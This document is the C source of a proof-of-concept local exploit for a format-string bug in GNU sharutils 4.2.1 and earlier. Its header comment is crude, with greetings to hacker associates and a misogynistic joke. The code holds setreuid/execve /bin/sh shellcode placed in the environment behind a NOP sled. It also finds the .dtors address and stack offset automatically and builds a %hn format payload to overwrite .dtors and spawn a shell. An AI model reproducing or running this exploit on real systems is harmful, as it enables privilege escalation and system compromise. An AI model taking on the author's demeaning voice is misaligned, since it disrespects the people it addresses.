/* GNU sharutils <= 4.2.1 Local Format String POC Code

C0ded by n4rk0tix (a.k.a nrktx) narkotix@linuxmail.org

Below is a l4m3 proof of concept code for da recently reported lame
bug;
These binaryz have not only format bugz, but also buffer
overflowz,etc.We also
exploited the heap and the stack hole of theze binaryz.There are almost
3 wayz of exploiting
theze elfz ,both of them r fucking boring , though, so this one is.

candy@labs:/$ readelf -r `which shar` | grep uid
08050784 00000e07 R_386_JUMP_SLOT 08048d7c getpwuid
080507e0 00002807 R_386_JUMP_SLOT 08048eec getuid
candy@labs:/$

exploiting non-suid binariez is like fucking 55 yearz old woman, like
i did in this code :-]
I'm again BACK from a long cisco trip, REGROUP TEAM, go go go... ,
need back up ! :]

Also some greetingz signaled to: Efnet,gotcha(love from .*za :]
),dm(my netmate from madagaskar),
genjuro(my lord a.k.a Uz4yh4N),L4M3R(vurun la ipnelere
ehuehu,kibriti caktim, tinerci alisti ehuehe),
HELl0wEeN,darkhat,mathmonkey,mtrl(68000 guru),jawz,and the otherz
whom i excluded them accidently :)

For More Info , read the below ascii trash. Thanx
_EOF_
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>

#define _GNU_SOURCE
#define DEFAULT_DTORS_SHAR (0x08050738) /*Tested on Slackware 9.0*/
#define DEFAULT_DTORS_UNSHAR (0x0804ad74) /* This is not exploitable
on every systemz */
#define DEFAULT_OFFSET_SHAR 22
#define DEFAULT_OFFSET_UNSHAR 262 /*lol, wtf stack layout do
i have :],Probably useless..*/
#define SHAR_PATH "/usr/bin/shar" /*Default $PATH change if
needed*/
#define UNSHAR_PATH "/usr/bin/unshar"
#define GET_DTORS_CMD "objdump -h %s | grep .dtors | awk ' { print $4 } '
> %s"
#define NOP 0x90

static int16_t WBIN = 2;

int main(void) {

int16_t check_bin(void);
u_int32_t get_dtors(int8_t* path);
int16_t get_auto_stack_offset(int8_t *binpath);
void banner(void);

int8_t envbuf[1000];
int8_t store_env[1010];
int8_t *shar_path = SHAR_PATH;
int8_t *unshar_path = UNSHAR_PATH;
static u_int8_t shellcode[] = // setreuid(0,0)
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80

// setgid(0)
"\x31\xdb" // xor %ebx,%ebx
"\x89\xd8" // mov %ebx,%eax
"\xb0\x2e" // mov $0x2e,%al
"\xcd\x80" // int $0x80

// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80

// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80

banner();
if(!check_bin())
exit(EXIT_FAILURE);

memset(envbuf,NOP,sizeof(envbuf));
strcpy((int8_t *)&envbuf[sizeof(envbuf) - strlen(shellcode)],shellcode);
memcpy(store_env,"CANDY=",6);
strcat(store_env,envbuf);
putenv(store_env);
if(!putenv) {
if(errno == ENOMEM) {
strerror(errno);
exit(EXIT_FAILURE);
}
}
const int8_t *USEBIN;
int16_t USE_OFFSET;

if(WBIN == 1){
printf("[+]Exploiting the unshar binary\n");
USEBIN = unshar_path;
}
if(WBIN == 2){
printf("[+]Default binary is shar\n");
USEBIN = shar_path;
}
if(WBIN == 3) {
printf("[+]Exploiting Shar binary\n");
USEBIN = shar_path;
}

int8_t store[200];

u_int32_t fakebuf = 0xbffffffa - strlen(store_env) -
strlen("/usr/bin/shar") + 50;

u_int32_t write_dtors = get_dtors((int8_t *)USEBIN);
int8_t *dtors_target[3] =

{ (int8_t *) write_dtors + 2,
(int8_t *) write_dtors,
NULL
};

int16_t env_most,
env_low;

env_most = (fakebuf & 0xffff0000) >> 16;
env_low = (fakebuf & 0x0000ffff);

env_most -= 0x8;
USE_OFFSET = get_auto_stack_offset((int8_t *)USEBIN);

sprintf(store,"%s%%.%dx%%%d$hn%%.%dx%%%d$hn",

&dtors_target,
(u_int16_t)env_most,
USE_OFFSET,
(env_low - env_most) - 0x8,

USE_OFFSET + 1);

fprintf(stdout,"[+]Type some command,sh$ prompt may not occur\n");
fprintf(stdout,"[+]Terminal echoing is possibly off \n");
fprintf(stdout,"Type any shell command Here i.e 'id' or 'ps aux'\n");
execlp(USEBIN,USEBIN,store);
fflush(stdin);
fflush(stdout);
return EXIT_SUCCESS; // useless, never return
}

int16_t check_bin(void) {

int8_t *filename_shar = SHAR_PATH;
int8_t *filename_unshar = UNSHAR_PATH;
int16_t i = 2;
if( access(filename_shar,F_OK) != 0){
fprintf(stderr,"%s Not found, Checking
%s\n",filename_shar,filename_unshar);
i--;
WBIN = 1;
}

if( access(filename_unshar,F_OK) != 0) {
fprintf(stderr,"%s Not found\n",filename_unshar);
i--;
WBIN = (WBIN == 1) ? 0 : 3;
}
if(!i) {
fprintf(stderr,"Sorry dude, no binary available for exploiting.\n");
exit(EXIT_FAILURE);
}
fputs("[+]Binary checking passed\n",stdout);
return(i);
}

u_int32_t get_dtors(int8_t* path) {

FILE *readit;
int *tmpfile;
int8_t tmpfull[32];
char *store_dtors;

int16_t status;
int16_t length;

ssize_t read;
u_int32_t findme;
int8_t *dtorsbuf = NULL;
bzero((int8_t *)tmpfull,sizeof(tmpfull));

strncpy(tmpfull,"/tmp/candyXXXXXX",strlen("/tmp/candyXXXXXX"));
tmpfile = (int *)mkstemp((int8_t *)tmpfull);
int8_t *buffer = (int8_t *) malloc(100 * sizeof(int8_t *));
if(!malloc) { err(1,"malloc"); exit(EXIT_FAILURE); }

bzero(buffer,sizeof(buffer));
snprintf(buffer,100,GET_DTORS_CMD,path,tmpfull);
buffer[strlen(buffer)] = '\0';

int8_t *shar_path = SHAR_PATH;
status = system(buffer);

switch((status >> 8 ) & 0xff) {

case 0:
fprintf(stdout,"[+]Utilities check successful, no Need
Defaults\n");
break;

case !0:
fprintf(stdout,"[+]Using default .Dtors address\n");
findme = (path == shar_path) ? DEFAULT_DTORS_SHAR :
DEFAULT_DTORS_UNSHAR;
goto GO_ON;

default:
fprintf(stdout,"[+]Using default .Dtors address\n");
fprintf(stdout,"[+]Dtors address => 0x%x\n",DEFAULT_DTORS_SHAR
);
findme = (path == shar_path) ? DEFAULT_DTORS_SHAR :
DEFAULT_DTORS_UNSHAR;
goto GO_ON;
}

if ( (readit = fopen(tmpfull,"rb")) == NULL ) {
strerror(errno);
fprintf(stdout,"[+]Using default .Dtors address\n");
findme = (path == shar_path) ? DEFAULT_DTORS_SHAR :
DEFAULT_DTORS_UNSHAR;
goto GO_ON;
}
read = getline(&dtorsbuf,&length,readit);

fflush(readit);
dtorsbuf[strlen(dtorsbuf) -1 ] = '\0';
findme = strtoul(dtorsbuf,&store_dtors,16);

fclose(readit);
free(dtorsbuf);
unlink(tmpfull);
fprintf(stdout,"[+]Dtors address found => 0x%x\n",findme + 0x4);
GO_ON:
unlink(tmpfull); /* For System Crashes */
return(findme + 4);
}

int16_t get_auto_stack_offset(int8_t *binpath) {

int8_t *path = "/tmp/candy";
int8_t *buffer = (int8_t *)malloc(300*sizeof(int8_t));
int8_t *shar_path = SHAR_PATH;

FILE *fd;
static int8_t formatbuf[100];
const u_int8_t *end_the_format = "41414141";

int8_t *format_string = "%x";
int8_t progpath[40];

bzero(progpath,sizeof(progpath));
sprintf(progpath,"%s AAAA",binpath);
progpath[strlen(progpath)] = '\0';

static int16_t control = 1;
static int16_t offset = 1;
if ((fd = fopen(path,"wb")) == NULL) {
perror("fopen");
exit(1);
}
if(control != 1)
goto FIRSTJUMP;

fflush(stderr);
dup2(fileno(fd),2);

bzero(formatbuf,sizeof(formatbuf));
strncpy(formatbuf,progpath,strlen(progpath));

LOOP:
if ((fd = fopen(path,"wb")) == NULL) {
perror("fopen");
exit(1);
}
fflush(stderr);
dup2(fileno(fd),2);

FIRSTJUMP:

control++;
strcat(formatbuf,format_string);

system(formatbuf);
fclose(fd);
usleep(9999);

fd = fopen(path,"rb");
if(fd == NULL){
perror("open");
fprintf(stdout,"[+]Using default Stack Offset \n");
offset = (binpath == shar_path) ? DEFAULT_OFFSET_SHAR :
DEFAULT_OFFSET_UNSHAR;
goto JUMP;
}

if(fgets(buffer,300,fd) != NULL){

if( strstr(buffer,end_the_format) == NULL) {
free(buffer);
fclose(fd);
offset++;
goto LOOP;
}

free(buffer);
fclose(fd);
unlink(path);
}
fprintf(stdout,"[+]Using Stack Offset %d\n",offset);
JUMP:
return(offset);
}